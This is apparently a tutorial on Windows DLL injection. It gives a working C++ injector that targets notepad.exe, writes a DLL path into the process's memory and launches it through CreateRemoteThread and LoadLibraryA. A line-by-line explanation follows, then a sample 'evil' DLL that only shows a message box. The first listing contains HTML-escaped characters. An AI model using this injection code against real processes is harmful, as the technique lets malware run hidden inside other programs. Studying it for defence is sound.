DLL Injection

DLL Injector

```
C++ Code
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;windows.h&gt;
#include &lt;tlhelp32.h&gt;

int getPIDbyProcName(const char* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnap, &amp;pe32) != FALSE) {
        while (pid == 0 &amp;&amp; Process32Next(hSnap, &amp;pe32) != FALSE) {
            if (strcmp(pe32.szExeFile, procName) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

    char evilDLL[] = "C:\\evil.dll";
    unsigned int evilLen = sizeof(evilDLL) + 1;

    typedef LPVOID memory_buffer;

int main(int argc, char* argv[]) {
    HANDLE pHandle; // process handle
    HANDLE remoteThread; // remote thread
    memory_buffer rb; // remote buffer

    // handle to kernel32 and pass it to GetProcAddress
    HMODULE hKernel32 = GetModuleHandle("Kernel32");
    void *lb = GetProcAddress(hKernel32, "LoadLibraryA");

    int pid = getPIDbyProcName("notepad.exe");

    pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // allocate memory buffer for remote process
    rb = VirtualAllocEx(pHandle, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

    // "copy" evil DLL between processes
    WriteProcessMemory(pHandle, rb, evilDLL, evilLen, NULL);

    // our process start new thread
    remoteThread = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
    CloseHandle(pHandle);
    CloseHandle(remoteThread);
    return 0;
}
```

This code is a Windows program that injects a dynamic-link library (DLL), represented by `evil.dll`, into the memory of a target process (in this case, "notepad.exe"). Let's break down the code step by step:

1. **Header Includes**:
   - `<stdio.h>`, `<stdlib.h>`, `<string.h>`: Standard C library headers for file operations and string manipulation.
   - `<windows.h>`: Provides access to Windows API functions and data types.
   - `<tlhelp32.h>`: Includes functions and data structures for working with processes and snapshots.
2. **`getPIDbyProcName` Function**:
   - This function takes the name of a process (`procName`) as input and returns its Process ID (PID).
   - It uses the Windows ToolHelp32 API to iterate through running processes and find the one with the specified name.
   - It initializes a snapshot of the process list, walks through it, and closes the snapshot handle when done.
3. **Variables and Initialization**:
   - `char evilDLL[]`: Specifies the path to the DLL (`evil.dll`) that will be injected into the target process.
   - `unsigned int evilLen`: Stores the length of the DLL path string.
   - `typedef LPVOID memory_buffer`: Creates an alias for a pointer to void as `memory_buffer`.
4. **Main Function**:
   - `int main(int argc, char* argv[])`: This is the main entry point for the program.
   - Inside the function:
     - It declares several variables:
       - `HANDLE pHandle`: A handle to the target process.
       - `HANDLE remoteThread`: A handle to the remote thread that will load the DLL.
       - `memory_buffer rb`: A pointer to a remote buffer in the target process.
     - It retrieves the address of the `LoadLibraryA` function from the `Kernel32` module using `GetProcAddress`. This function is used to load the DLL into the target process.
     - It calls `getPIDbyProcName` to get the PID of the target process, which is "notepad.exe" in this case.
     - It opens the target process for all access rights using `OpenProcess`.
     - It allocates memory within the target process using `VirtualAllocEx` to hold the DLL path string.
     - It copies the DLL path string (`evilDLL`) into the allocated memory of the target process using `WriteProcessMemory`.
     - It creates a remote thread in the target process using `CreateRemoteThread`. This thread starts execution at the `LoadLibraryA` function, which loads the DLL (`evil.dll`) into the target process.
     - Finally, it closes the process and remote thread handles and returns 0 to indicate successful program completion.

In summary, this code demonstrates DLL injection into a target process. It opens the target process, allocates memory within it, copies the DLL path, and creates a remote thread to load the DLL into the target process. This technique can be used forvarious purposes, including hooking functions or modifying the behavior of the target process.

Evil DLL

```
C++ Code
#include <windows.h>
#pragma comment(lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved)
{
    switch (nReason){
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL,"S12!","MessageBox by S12",MB_OK);
        break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}
```